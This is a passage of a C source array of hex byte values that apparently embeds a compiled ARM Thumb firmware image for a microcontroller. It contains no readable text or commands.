0xffu, 0xf7u, 0xe6u, 0xfdu, 0x20u, 0x00u, 0xffu, 0xf7u, 0xbdu, 0xfdu, 0x02u, 0x9au, 0x6bu, 0x6au, 0x0cu, 0x21u,
0x20u, 0x00u, 0xffu, 0xf7u, 0xc1u, 0xfdu, 0x20u, 0x00u, 0xffu, 0xf7u, 0xfeu, 0xfdu, 0x69u, 0x6au, 0x20u, 0x00u,
0xffu, 0xf7u, 0x38u, 0xfeu, 0x04u, 0x4au, 0xa3u, 0x58u, 0x00u, 0x2bu, 0xfcu, 0xdbu, 0x00u, 0x20u, 0x05u, 0xb0u,
0xf0u, 0xbdu, 0x02u, 0x48u, 0xfbu, 0xe7u, 0xc0u, 0x46u, 0xf0u, 0x10u, 0x00u, 0x00u, 0x0bu, 0x00u, 0x32u, 0x00u,
0x70u, 0xb5u, 0x05u, 0x00u, 0x0cu, 0x1eu, 0x1au, 0xd0u, 0xcbu, 0x68u, 0x00u, 0x22u, 0x9bu, 0xb2u, 0x89u, 0x68u,
0xfeu, 0xf7u, 0x40u, 0xfdu, 0x63u, 0x69u, 0x00u, 0x22u, 0x9bu, 0xb2u, 0x21u, 0x69u, 0x28u, 0x00u, 0xfeu, 0xf7u,
0x39u, 0xfdu, 0x30u, 0x23u, 0x00u, 0x22u, 0x21u, 0x00u, 0x28u, 0x00u, 0xfeu, 0xf7u, 0x33u, 0xfdu, 0x28u, 0x00u,
0xffu, 0xf7u, 0xc0u, 0xfdu, 0x28u, 0x00u, 0xffu, 0xf7u, 0x85u, 0xfdu, 0x00u, 0x20u, 0x70u, 0xbdu, 0x01u, 0x48u,
0xfcu, 0xe7u, 0xc0u, 0x46u, 0x0bu, 0x00u, 0x32u, 0x00u, 0xf0u, 0xb5u, 0x04u, 0x00u, 0xbfu, 0xb0u, 0x01u, 0x93u,
0x44u, 0xabu, 0x1fu, 0x78u, 0x0du, 0x00u, 0x16u, 0x00u, 0x00u, 0x21u, 0xc0u, 0x22u, 0x0eu, 0xa8u, 0x01u, 0xf0u,
0x4eu, 0xfbu, 0x30u, 0x22u, 0x00u, 0x21u, 0x02u, 0xa8u, 0x01u, 0xf0u, 0x49u, 0xfbu, 0x0eu, 0xabu, 0x3au, 0x00u,
0x02u, 0xa9u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x02u, 0xfeu, 0x00u, 0x28u, 0x18u, 0xd1u, 0x02u, 0xa9u, 0x20u, 0x00u,
0xffu, 0xf7u, 0x7au, 0xfeu, 0x00u, 0x28u, 0x12u, 0xd1u, 0x33u, 0x00u, 0x2au, 0x00u, 0x02u, 0xa9u, 0x20u, 0x00u,
0xffu, 0xf7u, 0x86u, 0xfeu, 0x00u, 0x28u, 0x0au, 0xd1u, 0x01u, 0x9au, 0x02u, 0xa9u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x25u, 0xffu, 0x00u, 0x28u, 0x03u, 0xd1u, 0x02u, 0xa9u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xa9u, 0xffu, 0x3fu, 0xb0u,
0xf0u, 0xbdu, 0x00u, 0x00u, 0x70u, 0xb5u, 0x04u, 0x00u, 0xa0u, 0x20u, 0x18u, 0x4du, 0x80u, 0x00u, 0x25u, 0x50u,
0x3fu, 0x25u, 0x04u, 0x30u, 0x25u, 0x50u, 0x00u, 0x25u, 0x01u, 0x26u, 0x3cu, 0x30u, 0x25u, 0x50u, 0x08u, 0x30u,
0x25u, 0x50u, 0x08u, 0x30u, 0x26u, 0x50u, 0x12u, 0x4eu, 0x10u, 0x30u, 0x26u, 0x50u, 0x40u, 0x38u, 0x21u, 0x50u,
0xa9u, 0x21u, 0x89u, 0x00u, 0x62u, 0x50u, 0x20u, 0x00u, 0x19u, 0x00u, 0xfeu, 0xf7u, 0xf3u, 0xfau, 0x2au, 0x00u,
0x60u, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0x5eu, 0xfbu, 0x40u, 0x21u, 0x0au, 0x4bu, 0x1au, 0x68u, 0x13u, 0x68u,
0xe3u, 0x18u, 0x18u, 0x68u, 0x08u, 0x40u, 0xfcu, 0xd1u, 0xd3u, 0x69u, 0xe3u, 0x18u, 0x1au, 0x68u, 0x04u, 0x9bu,
0x1au, 0x60u, 0xa1u, 0x23u, 0x9bu, 0x00u, 0xe0u, 0x50u, 0x70u, 0xbdu, 0xc0u, 0x46u, 0x00u, 0x00u, 0x03u, 0x31u,
0x01u, 0x00u, 0x01u, 0x00u, 0x38u, 0x05u, 0x00u, 0x08u, 0xf0u, 0xb5u, 0x04u, 0x00u, 0xa0u, 0x20u, 0x1cu, 0x4du,
0x80u, 0x00u, 0x25u, 0x50u, 0x3fu, 0x25u, 0x04u, 0x30u, 0xb0u, 0x26u, 0x25u, 0x50u, 0x00u, 0x25u, 0xb6u, 0x00u,
0xa5u, 0x51u, 0x08u, 0x36u, 0xa5u, 0x51u, 0x17u, 0x4fu, 0x08u, 0x36u, 0x01u, 0x35u, 0xa5u, 0x51u, 0x10u, 0x36u,
0xa7u, 0x51u, 0x40u, 0x3eu, 0xa1u, 0x51u, 0xa9u, 0x21u, 0x89u, 0x00u, 0x62u, 0x50u, 0xa2u, 0x22u, 0x92u, 0x00u,
0xa3u, 0x50u, 0x03u, 0x22u, 0x23u, 0x58u, 0x13u, 0x42u, 0x13u, 0xd0u, 0xa4u, 0x23u, 0x9bu, 0x00u, 0xe5u, 0x50u,
0x0du, 0x4bu, 0x1du, 0x68u, 0x2bu, 0x68u, 0xe1u, 0x18u, 0x03u, 0x00u, 0x08u, 0x68u, 0xe6u, 0x58u, 0x16u, 0x42u,
0x07u, 0xd0u, 0xc0u, 0x0fu, 0xf9u, 0xd1u, 0xebu, 0x69u, 0xe3u, 0x18u, 0x1au, 0x68u, 0x05u, 0x9bu, 0x1au, 0x60u,
0x00u, 0xe0u, 0x06u, 0x48u, 0xa1u, 0x23u, 0x00u, 0x22u, 0x9bu, 0x00u, 0xe2u, 0x50u, 0xf0u, 0xbdu, 0xc0u, 0x46u,
0x00u, 0x00u, 0x03u, 0x31u, 0x01u, 0x00u, 0x01u, 0x00u, 0x38u, 0x05u, 0x00u, 0x08u, 0x01u, 0x00u, 0x32u, 0x00u,
0x07u, 0x4bu, 0x89u, 0x00u, 0x1au, 0x68u, 0x93u, 0x6bu, 0x12u, 0x69u, 0xc3u, 0x18u, 0x89u, 0x18u, 0x08u, 0x18u,
0x1bu, 0x68u, 0x00u, 0x68u, 0x80u, 0x00u, 0x80u, 0x0cu, 0x80u, 0x00u, 0xc0u, 0x18u, 0x70u, 0x47u, 0xc0u, 0x46u,
0x38u, 0x05u, 0x00u, 0x08u, 0x10u, 0xb5u, 0x06u, 0x4cu, 0x24u, 0x68u, 0x29u, 0x34u, 0x24u, 0x78u, 0x1fu, 0x2cu,
0x02u, 0xd8u, 0xfeu, 0xf7u, 0x47u, 0xfbu, 0x10u, 0xbdu, 0xfeu, 0xf7u, 0x16u, 0xfcu, 0xfbu, 0xe7u, 0xc0u, 0x46u,
0x34u, 0x07u, 0x00u, 0x08u, 0x70u, 0xb5u, 0x1fu, 0x24u, 0x95u, 0x00u, 0x13u, 0x05u, 0x09u, 0x4au, 0xadu, 0x0cu,
0x12u, 0x68u, 0x89u, 0x06u, 0x29u, 0x32u, 0x12u, 0x78u, 0x1bu, 0x0du, 0x94u, 0x42u, 0xa4u, 0x41u, 0x64u, 0x42u,
0x0cu, 0x34u, 0xa5u, 0x40u, 0x0bu, 0x43u, 0x2bu, 0x43u, 0x80u, 0x22u, 0x00u, 0x21u, 0xfeu, 0xf7u, 0x6cu, 0xf8u,
0x70u, 0xbdu, 0xc0u, 0x46u, 0x34u, 0x07u, 0x00u, 0x08u, 0x09u, 0x4bu, 0x1bu, 0x68u, 0x1bu, 0x68u, 0xc0u, 0x18u,
0x08u, 0x4bu, 0x1bu, 0x68u, 0x29u, 0x33u, 0x1bu, 0x78u, 0x1fu, 0x2bu, 0x04u, 0xd8u, 0x80u, 0x23u, 0x02u, 0x68u,
0x1au, 0x42u, 0xfcu, 0xd1u, 0x70u, 0x47u, 0x03u, 0x68u, 0x00u, 0x2bu, 0xfcu, 0xd1u, 0xfau, 0xe7u, 0xc0u, 0x46u,
0x38u, 0x05u, 0x00u, 0x08u, 0x34u, 0x07u, 0x00u, 0x08u, 0x10u, 0xb5u, 0x13u, 0x00u, 0x06u, 0x4au, 0x14u, 0x68u,
0x29u, 0x34u, 0x22u, 0x78u, 0x1fu, 0x2au, 0x03u, 0xd8u, 0x00u, 0x22u, 0xfeu, 0xf7u, 0x21u, 0xfbu, 0x10u, 0xbdu,
0x00u, 0x22u, 0xfeu, 0xf7u, 0x0fu, 0xfcu, 0xfau, 0xe7u, 0x34u, 0x07u, 0x00u, 0x08u, 0xf7u, 0xb5u, 0x04u, 0x00u,
0x00u, 0x93u, 0x0eu, 0x00u, 0x01u, 0x92u, 0xffu, 0xf7u, 0xcfu, 0xffu, 0x1bu, 0x4bu, 0x1bu, 0x68u, 0x29u, 0x33u,
0x1bu, 0x78u, 0x1fu, 0x2bu, 0x2du, 0xd8u, 0x19u, 0x4bu, 0x1bu, 0x68u, 0x1bu, 0x69u, 0xe3u, 0x18u, 0x1fu, 0x68u,
0x5du, 0x68u, 0x31u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x83u, 0xffu, 0x06u, 0x00u, 0x00u, 0x9au, 0x01u, 0x00u,
0x1fu, 0x32u, 0x52u, 0x09u, 0x92u, 0x00u, 0x92u, 0xb2u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xcdu, 0xffu, 0x00u, 0x9bu,
0x01u, 0x9au, 0x07u, 0x33u, 0xdbu, 0x08u, 0x9bu, 0xb2u, 0x31u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x82u, 0xffu,
0x09u, 0x4bu, 0x1bu, 0x68u, 0x29u, 0x33u, 0x1bu, 0x78u, 0x1fu, 0x2bu, 0x09u, 0xd8u, 0x3au, 0x00u, 0x00u, 0x21u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x87u, 0xffu, 0x2au, 0x00u, 0x01u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x82u, 0xffu,
0xf7u, 0xbdu, 0x00u, 0x25u, 0x2fu, 0x00u, 0xd4u, 0xe7u, 0x34u, 0x07u, 0x00u, 0x08u, 0x38u, 0x05u, 0x00u, 0x08u,
0xf0u, 0xb5u, 0x85u, 0xb0u, 0x03u, 0x93u, 0x04u, 0x00u, 0x01u, 0x91u, 0x02u, 0x92u, 0xffu, 0xf7u, 0x8cu, 0xffu,
0x16u, 0x4eu, 0x33u, 0x68u, 0x29u, 0x33u, 0x1bu, 0x78u, 0x1fu, 0x2bu, 0x23u, 0xd8u, 0x14u, 0x4bu, 0x1bu, 0x68u,
0x1bu, 0x69u, 0xe3u, 0x18u, 0x1fu, 0x68u, 0x5du, 0x68u, 0x02u, 0x99u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x40u, 0xffu,
0x03u, 0x9bu, 0x02u, 0x00u, 0x07u, 0x33u, 0xdbu, 0x08u, 0x9bu, 0xb2u, 0x01u, 0x99u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x49u, 0xffu, 0x33u, 0x68u, 0x29u, 0x33u, 0x1bu, 0x78u, 0x1fu, 0x2bu, 0x09u, 0xd8u, 0x3au, 0x00u, 0x00u, 0x21u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x4fu, 0xffu, 0x2au, 0x00u, 0x01u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x4au, 0xffu,
0x05u, 0xb0u, 0xf0u, 0xbdu, 0x00u, 0x25u, 0x2fu, 0x00u, 0xdeu, 0xe7u, 0xc0u, 0x46u, 0x34u, 0x07u, 0x00u, 0x08u,
0x38u, 0x05u, 0x00u, 0x08u, 0x10u, 0xb5u, 0x04u, 0x00u, 0x0bu, 0x00u, 0x3fu, 0x22u, 0x00u, 0x21u, 0xfdu, 0xf7u,
0xbbu, 0xffu, 0x20u, 0x00u, 0xffu, 0xf7u, 0x50u, 0xffu, 0x03u, 0x4bu, 0x1bu, 0x68u, 0xdbu, 0x6bu, 0xe4u, 0x18u,
0x20u, 0x68u, 0x40u, 0x07u, 0xc0u, 0x0fu, 0x10u, 0xbdu, 0x38u, 0x05u, 0x00u, 0x08u, 0x10u, 0xb5u, 0x04u, 0x00u,
0x13u, 0x01u, 0x0bu, 0x43u, 0x3du, 0x22u, 0x00u, 0x21u, 0xfdu, 0xf7u, 0xa6u, 0xffu, 0x20u, 0x00u, 0xffu, 0xf7u,
0x3bu, 0xffu, 0x04u, 0x4bu, 0x1bu, 0x68u, 0xdbu, 0x6bu, 0xe4u, 0x18u, 0x20u, 0x68u, 0x40u, 0x07u, 0xc0u, 0x0fu,
0x10u, 0xbdu, 0xc0u, 0x46u, 0x38u, 0x05u, 0x00u, 0x08u, 0x10u, 0xb5u, 0x04u, 0x00u, 0x13u, 0x01u, 0x0bu, 0x43u,
0x3du, 0x22u, 0x00u, 0x21u, 0xfdu, 0xf7u, 0x90u, 0xffu, 0x20u, 0x00u, 0xffu, 0xf7u, 0x25u, 0xffu, 0x04u, 0x4bu,
0x1bu, 0x68u, 0xdbu, 0x6bu, 0xe4u, 0x18u, 0x01u, 0x23u, 0x20u, 0x68u, 0x18u, 0x40u, 0x10u, 0xbdu, 0xc0u, 0x46u,
0x38u, 0x05u, 0x00u, 0x08u, 0x08u, 0x4bu, 0x10u, 0xb5u, 0x1au, 0x68u, 0x8bu, 0x00u, 0x12u, 0x69u, 0x9bu, 0x18u,
0xc3u, 0x18u, 0x1cu, 0x68u, 0xffu, 0xf7u, 0xd4u, 0xfeu, 0xe1u, 0x04u, 0xc9u, 0x0cu, 0x08u, 0x31u, 0xc9u, 0x08u,
0xfeu, 0xf7u, 0x3eu, 0xf9u, 0x10u, 0xbdu, 0xc0u, 0x46u, 0x38u, 0x05u, 0x00u, 0x08u, 0x00u, 0x28u, 0x07u, 0xdbu,
0x1fu, 0x23u, 0xc0u, 0x22u, 0x18u, 0x40u, 0x1eu, 0x3bu, 0x83u, 0x40u, 0x02u, 0x49u, 0x52u, 0x00u, 0x8bu, 0x50u,
0x70u, 0x47u, 0xc0u, 0x46u, 0x00u, 0xe1u, 0x00u, 0xe0u, 0x30u, 0xb5u, 0xf8u, 0x25u, 0x0fu, 0x4bu, 0x10u, 0x4au,
0x18u, 0x68u, 0x14u, 0x68u, 0x43u, 0x6au, 0x22u, 0x6cu, 0x6du, 0x03u, 0x9au, 0x18u, 0x11u, 0x68u, 0x29u, 0x40u,
0x10u, 0xd0u, 0x11u, 0x60u, 0x22u, 0x6cu, 0x9bu, 0x18u, 0x1bu, 0x68u, 0x0au, 0x4bu, 0x1au, 0x68u, 0x53u, 0x1cu,
0xd9u, 0x7fu, 0x00u, 0x29u, 0x07u, 0xd1u, 0x41u, 0x6au, 0x08u, 0x6au, 0x49u, 0x6au, 0x50u, 0x62u, 0x91u, 0x62u,
0x01u, 0x22u, 0xdau, 0x77u, 0x30u, 0xbdu, 0x00u, 0x22u, 0xfbu, 0xe7u, 0xc0u, 0x46u, 0x34u, 0x07u, 0x00u, 0x08u,
0x38u, 0x05u, 0x00u, 0x08u, 0x44u, 0x05u, 0x00u, 0x08u, 0x00u, 0x22u, 0x70u, 0xb5u, 0x04u, 0x00u, 0x03u, 0x68u,
0x0du, 0x00u, 0x0bu, 0x60u, 0x43u, 0x68u, 0x4bu, 0x60u, 0x83u, 0x69u, 0x8bu, 0x60u, 0xc3u, 0x69u, 0xcbu, 0x60u,
0x4bu, 0x1cu, 0xdau, 0x77u, 0x03u, 0x8cu, 0x0bu, 0x82u, 0x03u, 0x8du, 0x0bu, 0x83u, 0xfdu, 0xf7u, 0xceu, 0xffu,
0xa1u, 0x69u, 0x00u, 0x29u, 0x00u, 0xd1u, 0x20u, 0x49u, 0x20u, 0x00u, 0x20u, 0x30u, 0x00u, 0xf0u, 0x2eu, 0xfdu,
0x20u, 0x22u, 0xa3u, 0x5eu, 0x00u, 0x2bu, 0x06u, 0xdbu, 0x1fu, 0x22u, 0x13u, 0x40u, 0x1eu, 0x3au, 0x9au, 0x40u,
0x13u, 0x00u, 0x1au, 0x4au, 0x13u, 0x60u, 0x1au, 0x4eu, 0x63u, 0x68u, 0x32u, 0x68u, 0x80u, 0x33u, 0x12u, 0x6au,
0x5bu, 0x01u, 0x9bu, 0x18u, 0x80u, 0x22u, 0x21u, 0x68u, 0x52u, 0x02u, 0x8au, 0x40u, 0xe1u, 0x69u, 0x9au, 0x60u,
0x00u, 0x29u, 0x00u, 0xd1u, 0x13u, 0x49u, 0x20u, 0x00u, 0x28u, 0x30u, 0x00u, 0xf0u, 0x0fu, 0xfdu, 0x28u, 0x23u,
0xe0u, 0x5eu, 0xffu, 0xf7u, 0x8bu, 0xffu, 0x28u, 0x22u, 0xa3u, 0x5eu, 0x00u, 0x2bu, 0x06u, 0xdbu, 0x1fu, 0x22u,
0x13u, 0x40u, 0x1eu, 0x3au, 0x9au, 0x40u, 0x13u, 0x00u, 0x08u, 0x4au, 0x13u, 0x60u, 0x0au, 0x4au, 0x33u, 0x68u,
0x12u, 0x68u, 0x5bu, 0x6au, 0x92u, 0x6cu, 0x00u, 0x20u, 0x9bu, 0x18u, 0xf8u, 0x22u, 0x52u, 0x03u, 0x1au, 0x60u,
0x06u, 0x4bu, 0x1du, 0x60u, 0x70u, 0xbdu, 0xc0u, 0x46u, 0xe1u, 0x5eu, 0x00u, 0x10u, 0x00u, 0xe1u, 0x00u, 0xe0u,
0x34u, 0x07u, 0x00u, 0x08u, 0x79u, 0x59u, 0x00u, 0x10u, 0x38u, 0x05u, 0x00u, 0x08u, 0x44u, 0x05u, 0x00u, 0x08u,
0x10u, 0xb5u, 0x07u, 0x4bu, 0x1bu, 0x68u, 0x29u, 0x33u, 0x1au, 0x78u, 0x06u, 0x4bu, 0x1fu, 0x2au, 0x04u, 0xd8u,
0x05u, 0x4au, 0x1au, 0x60u, 0xffu, 0xf7u, 0x90u, 0xffu, 0x10u, 0xbdu, 0x04u, 0x4au, 0xf9u, 0xe7u, 0xc0u, 0x46u,
0x34u, 0x07u, 0x00u, 0x08u, 0x40u, 0x05u, 0x00u, 0x08u, 0x98u, 0x77u, 0x00u, 0x10u, 0xf0u, 0x77u, 0x00u, 0x10u,
0xf0u, 0xb5u, 0xb4u, 0x4bu, 0x85u, 0xb0u, 0x1cu, 0x68u, 0x00u, 0x2cu, 0x1eu, 0xd0u, 0xb2u, 0x4bu, 0xb3u, 0x4du,
0x63u, 0x60u, 0x2bu, 0x68u, 0x5fu, 0x6au, 0x23u, 0x78u, 0x01u, 0x2bu, 0x18u, 0xd1u, 0x38u, 0x00u, 0xfeu, 0xf7u,
0x21u, 0xf8u, 0x60u, 0x60u, 0x00u, 0x23u, 0xabu, 0x4au, 0xe1u, 0x69u, 0x13u, 0x60u, 0x2bu, 0x68u, 0x1au, 0x00u,
0xacu, 0x32u, 0x10u, 0x88u, 0x22u, 0x69u, 0x1bu, 0x6au, 0x50u, 0x43u, 0xc0u, 0x18u, 0x00u, 0x29u, 0x02u, 0xd0u,
0x01u, 0x21u, 0xa3u, 0x69u, 0x99u, 0x40u, 0x00u, 0xf0u, 0x9du, 0xfau, 0x05u, 0xb0u, 0xf0u, 0xbdu, 0xa4u, 0x4eu,
0x33u, 0x68u, 0x00u, 0x2bu, 0x01u, 0xd1u, 0xfdu, 0xf7u, 0x39u, 0xffu, 0x3bu, 0x68u, 0x00u, 0x2bu, 0xe1u, 0xdau,
0xa0u, 0x4bu, 0x63u, 0x60u, 0xa0u, 0x4bu, 0x1au, 0x68u, 0x00u, 0x2au, 0x12u, 0xd0u, 0x23u, 0x78u, 0x11u, 0x2bu,
0x00u, 0xd1u, 0x6cu, 0xe1u, 0x61u, 0xd8u, 0x09u, 0x2bu, 0x00u, 0xd1u, 0x04u, 0xe1u, 0x32u, 0xd8u, 0x04u, 0x2bu,
0x00u, 0xd1u, 0xd3u, 0xe0u, 0x1cu, 0xd8u, 0x02u, 0x2bu, 0x00u, 0xd1u, 0xa3u, 0xe0u, 0x03u, 0x2bu, 0x00u, 0xd1u,
0xc0u, 0xe0u, 0x63u, 0x68u, 0x00u, 0x2bu, 0xc5u, 0xd1u, 0x94u, 0x4au, 0x12u, 0x68u, 0x51u, 0x1cu, 0xc8u, 0x7fu,
0x00u, 0x28u, 0x00u, 0xd0u, 0xb1u, 0xe1u, 0x2au, 0x68u, 0x52u, 0x6au, 0x10u, 0x6au, 0x52u, 0x6au, 0xd6u, 0x0fu,
0x01u, 0x2eu, 0x01u, 0xd1u, 0x8eu, 0x4bu, 0xceu, 0x77u, 0xa0u, 0x60u, 0xe2u, 0x60u, 0x63u, 0x60u, 0xb1u, 0xe7u,
0x07u, 0x2bu, 0x00u, 0xd1u, 0xbdu, 0xe0u, 0x00u, 0xd9u, 0xd0u, 0xe0u, 0x06u, 0x2bu, 0xe1u, 0xd1u, 0x96u, 0x68u,
0x28u, 0x68u, 0x00u, 0x2eu, 0xddu, 0xd0u, 0xa1u, 0x6au, 0xcbu, 0x68u, 0x00u, 0x93u, 0x8bu, 0x68u, 0x4au, 0x68u,
0x09u, 0x68u, 0x5du, 0xe1u, 0x0du, 0x2bu, 0x00u, 0xd1u, 0x04u, 0xe1u, 0x14u, 0xd8u, 0x0bu, 0x2bu, 0x00u, 0xd1u,
0xdcu, 0xe0u, 0x00u, 0xd8u, 0xd8u, 0xe0u, 0x16u, 0x6au, 0x28u, 0x68u, 0x00u, 0x2eu, 0xc9u, 0xd0u, 0xa1u, 0x6au,
0x02u, 0x91u, 0x4bu, 0x6au, 0x01u, 0x93u, 0x4bu, 0x7bu, 0x00u, 0x93u, 0x0bu, 0x69u, 0x4au, 0x69u, 0x40u, 0x6au,
0x89u, 0x6au, 0xb0u, 0x47u, 0x62u, 0xe0u, 0x0fu, 0x2bu, 0x00u, 0xd1u, 0x0bu, 0xe1u, 0x00u, 0xd8u, 0xf7u, 0xe0u,
0x16u, 0x6bu, 0x28u, 0x68u, 0x00u, 0x2eu, 0xb4u, 0xd0u, 0xa1u, 0x6au, 0x40u, 0x6au, 0xcbu, 0x68u, 0x0au, 0x69u,
0x9bu, 0xb2u, 0xd2u, 0xb2u, 0x89u, 0x68u, 0xb0u, 0x47u, 0x69u, 0xe0u, 0x18u, 0x2bu, 0x00u, 0xd1u, 0x40u, 0xe1u,
0x1eu, 0xd8u, 0x14u, 0x2bu, 0x00u, 0xd1u, 0x20u, 0xe1u, 0x13u, 0xd8u, 0x12u, 0x2bu, 0x00u, 0xd1u, 0x0du, 0xe1u,
0x13u, 0x2bu, 0x9eu, 0xd1u, 0xd6u, 0x6bu, 0x28u, 0x68u, 0x00u, 0x2eu, 0x9au, 0xd0u, 0xa1u, 0x6au, 0x0bu, 0x6au,
0x01u, 0x93u, 0xcbu, 0x69u, 0x00u, 0x93u, 0x8bu, 0x69u, 0x4au, 0x69u, 0x40u, 0x6au, 0xc9u, 0x68u, 0xb0u, 0x47u,
0x34u, 0xe0u, 0x16u, 0x2bu, 0x00u, 0xd1u, 0x22u, 0xe1u, 0x00u, 0xd8u, 0x14u, 0xe1u, 0xd6u, 0x6cu, 0xa7u, 0xe7u,
0x57u, 0x2bu, 0x39u, 0xd0u, 0x15u, 0xd8u, 0x55u, 0x2bu, 0x2au, 0xd0u, 0x2du, 0xd8u, 0x19u, 0x2bu, 0x00u, 0xd0u,
0x7fu, 0xe7u, 0x56u, 0x6du, 0x28u, 0x68u, 0x00u, 0x2eu, 0x00u, 0xd1u, 0x7au, 0xe7u, 0xa1u, 0x6au, 0x0bu, 0x69u,
0x0au, 0x79u, 0x01u, 0x93u, 0xcbu, 0x68u, 0x00u, 0x93u, 0x8bu, 0x68u, 0x40u, 0x6au, 0x09u, 0x68u, 0xb0u, 0x47u,
0x14u, 0xe0u, 0x5du, 0x2bu, 0x00u, 0xd1u, 0x0eu, 0xe1u, 0x5eu, 0x2bu, 0x00u, 0xd1u, 0x18u, 0xe1u, 0x58u, 0x2bu,
0x00u, 0xd0u, 0x66u, 0xe7u, 0xa3u, 0x6au, 0x9eu, 0x68u, 0x2bu, 0x68u, 0x58u, 0x6au, 0xfdu, 0xf7u, 0x00u, 0xffu,
0x30u, 0x60u, 0x1cu, 0xe0u, 0x2bu, 0x68u, 0x58u, 0x6au, 0xfdu, 0xf7u, 0x88u, 0xffu, 0x60u, 0x60u, 0x58u, 0xe7u,
0xa0u, 0x6au, 0xfdu, 0xf7u, 0x7fu, 0xffu, 0xf9u, 0xe7u, 0xa3u, 0x6au, 0x28u, 0x68u, 0xdau, 0x68u, 0x19u, 0x68u,
0x40u, 0x6au, 0xfdu, 0xf7u, 0x7fu, 0xfeu, 0xf1u, 0xe7u, 0x2bu, 0x68u, 0x32u, 0x68u, 0xa0u, 0x6au, 0x5bu, 0x6au,
0x11u, 0x1eu, 0x02u, 0xd0u, 0x92u, 0x6bu, 0x9bu, 0x18u, 0x19u, 0x68u, 0x83u, 0x68u, 0x19u, 0x60u, 0x00u, 0x23u,
0x63u, 0x60u, 0x3eu, 0xe7u, 0x16u, 0x68u, 0x28u, 0x68u, 0x00u, 0x2eu, 0x00u, 0xd1u, 0x39u, 0xe7u, 0xa1u, 0x6au,
0x40u, 0x6au, 0x8bu, 0x68u, 0x4au, 0x68u, 0x09u, 0x68u, 0xb0u, 0x47u, 0xd7u, 0xe7u, 0x53u, 0x68u, 0x28u, 0x68u,
0x00u, 0x2bu, 0x00u, 0xd1u, 0x2du, 0xe7u, 0xa1u, 0x6au, 0x40u, 0x6au, 0x0au, 0x69u, 0xc9u, 0x68u, 0x98u, 0x47u,
0xccu, 0xe7u, 0xd3u, 0x68u, 0x9cu, 0x46u, 0x00u, 0x2bu, 0x00u, 0xd1u, 0x22u, 0xe7u, 0x24u, 0x4eu, 0xa3u, 0x6au,
0x2au, 0x68u, 0x36u, 0x68u, 0x50u, 0x6au, 0x19u, 0x69u, 0x5au, 0x7bu, 0x37u, 0x1eu, 0x02u, 0xd0u, 0xb6u, 0x6bu,
0x86u, 0x19u, 0x37u, 0x68u, 0x00u, 0x97u, 0x66u, 0x46u, 0xb0u, 0x47u, 0xb7u, 0xe7u, 0x16u, 0x69u, 0x28u, 0x68u,
0x00u, 0x2eu, 0x00u, 0xd1u, 0x0du, 0xe7u, 0xa2u, 0x6au, 0x11u, 0x7bu, 0x00u, 0x92u, 0x93u, 0x6au, 0x52u, 0x6au,
0x40u, 0x6au, 0xb0u, 0x47u, 0xaau, 0xe7u, 0x56u, 0x69u, 0x28u, 0x68u, 0x00u, 0x2eu, 0x00u, 0xd1u, 0x00u, 0xe7u,
0xa2u, 0x6au, 0x11u, 0x7bu, 0x02u, 0x92u, 0x93u, 0x6au, 0x01u, 0x93u, 0x53u, 0x6au, 0x00u, 0x93u, 0xd3u, 0x69u,
0x40u, 0x6au, 0x52u, 0x69u, 0xb0u, 0x47u, 0x99u, 0xe7u, 0x96u, 0x69u, 0xedu, 0xe7u, 0xd6u, 0x69u, 0x28u, 0x68u,
0x00u, 0x2eu, 0x00u, 0xd1u, 0xedu, 0xe6u, 0xa1u, 0x6au, 0x03u, 0x91u, 0x8bu, 0x6au, 0x02u, 0x93u, 0x4bu, 0x6au,
0x01u, 0x93u, 0x0bu, 0x6au, 0x00u, 0x93u, 0xcbu, 0x69u, 0x8au, 0x69u, 0x40u, 0x6au, 0x49u, 0x69u, 0xb0u, 0x47u,
0x84u, 0xe7u, 0xc0u, 0x46u, 0x48u, 0x05u, 0x00u, 0x08u, 0x09u, 0x00u, 0x32u, 0x00u, 0x34u, 0x07u, 0x00u, 0x08u,
0x38u, 0x05u, 0x00u, 0x08u, 0x0au, 0x00u, 0x32u, 0x00u, 0x40u, 0x05u, 0x00u, 0x08u, 0x44u, 0x05u, 0x00u, 0x08u,
0x01u, 0x00u, 0x32u, 0x00u, 0x56u, 0x6au, 0x28u, 0x68u, 0x00u, 0x2eu, 0x00u, 0xd1u, 0xc9u, 0xe6u, 0xa1u, 0x6au,
0x0bu, 0x7bu, 0x00u, 0x93u, 0x8bu, 0x68u, 0x4au, 0x68u, 0x40u, 0x6au, 0x09u, 0x68u, 0xb0u, 0x47u, 0x65u, 0xe7u,
0x96u, 0x6au, 0x28u, 0x68u, 0x00u, 0x2eu, 0x00u, 0xd1u, 0xbbu, 0xe6u, 0xa1u, 0x6au, 0x0bu, 0x7bu, 0x02u, 0x93u,
0x4bu, 0x69u, 0x01u, 0x93u, 0x0bu, 0x69u, 0x00u, 0x93u, 0x4bu, 0x68u, 0x0au, 0x68u, 0x40u, 0x6au, 0x89u, 0x68u,
0xb0u, 0x47u, 0x53u, 0xe7u, 0xd6u, 0x6au, 0x28u, 0x68u, 0x00u, 0x2eu, 0x00u, 0xd1u, 0xa9u, 0xe6u, 0xa1u, 0x6au,
0x40u, 0x6au, 0xcbu, 0x68u, 0x0au, 0x68u, 0x9bu, 0xb2u, 0x89u, 0x68u, 0xb0u, 0x47u, 0x5fu, 0xe7u, 0x56u, 0x6bu,
0x28u, 0x68u, 0x00u, 0x2eu, 0x00u, 0xd1u, 0x9cu, 0xe6u, 0xa1u, 0x6au, 0x40u, 0x6au, 0xcbu, 0x68u, 0x8fu, 0x68u,
0x4au, 0x68u, 0x9bu, 0xb2u, 0x09u, 0x68u, 0xb0u, 0x47u, 0x38u, 0x60u, 0x50u, 0xe7u, 0x96u, 0x6bu, 0x28u, 0x68u,
